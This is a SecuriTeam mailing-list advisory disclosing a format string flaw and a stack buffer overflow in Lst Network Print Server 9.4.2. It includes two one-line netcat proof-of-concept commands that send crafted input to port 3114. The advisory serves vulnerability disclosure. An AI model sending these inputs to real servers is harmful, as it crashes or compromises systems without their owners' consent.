The following security advisory is sent to the securiteam mailing list, and can
be found at the SecuriTeam web site: http://www.securiteam.com
- - promotion
The SecuriTeam alerts list - Free, Accurate, Independent.
Get your security news from a reliable source.
http://www.securiteam.com/mailinglist.html
- - - - - - - - -
Lst Network Print Server Format String and Buffer Overflow
------------------------------------------------------------------------
SUMMARY
<http://www.cgmlarson.com/products/NetworkPrintServer.php> LstNPS is "a
CGM print server for Windows". Two security vulnerabilities have been
discovered in Lst Network Print Server.
DETAILS
Vulnerable Systems:
* Larson Software Technology Network Print Server version 9.4.2 build 105
Format string in logging
The server is affected by a format string vulnerability located in the
logging functions (by default enabled and set on "Information") which
passes the log message directly to vsnprintf without the format argument.
License buffer-overflow
The LICENSE command handled by the server leads to a buffer-overflow
vulnerability when a license string longer than 128 bytes is copied in a
stack buffer using strncpy in the wrong way.
Exploits:
For the format string:
echo USEP %n%n%n%s%s%s |nc SERVER 3114 -v -v
And for the buffer overflow:
echo LICENSE aaaaa...160...aaaaa|nc SERVER 3114 -v -v
ADDITIONAL INFORMATION
The information has been provided by <mailto:aluigi@autistici.org> Luigi
Auriemma.
The original article can be found at:
<http://aluigi.altervista.org/adv/lstnpsx-adv.txt>
http://aluigi.altervista.org/adv/lstnpsx-adv.txt
========================================
This bulletin is sent to members of the SecuriTeam mailing list.
To unsubscribe from the list, send mail with an empty subject line and body to:
list-unsubscribe@securiteam.com
In order to subscribe to the mailing list, simply forward this email to:
list-subscribe@securiteam.com
====================
====================
DISCLAIMER:
The information in this bulletin is provided "AS IS" without warranty of any
kind.
In no event shall we be liable for any damages whatsoever including direct,
indirect, incidental, consequential, loss of business profits or special
damages.
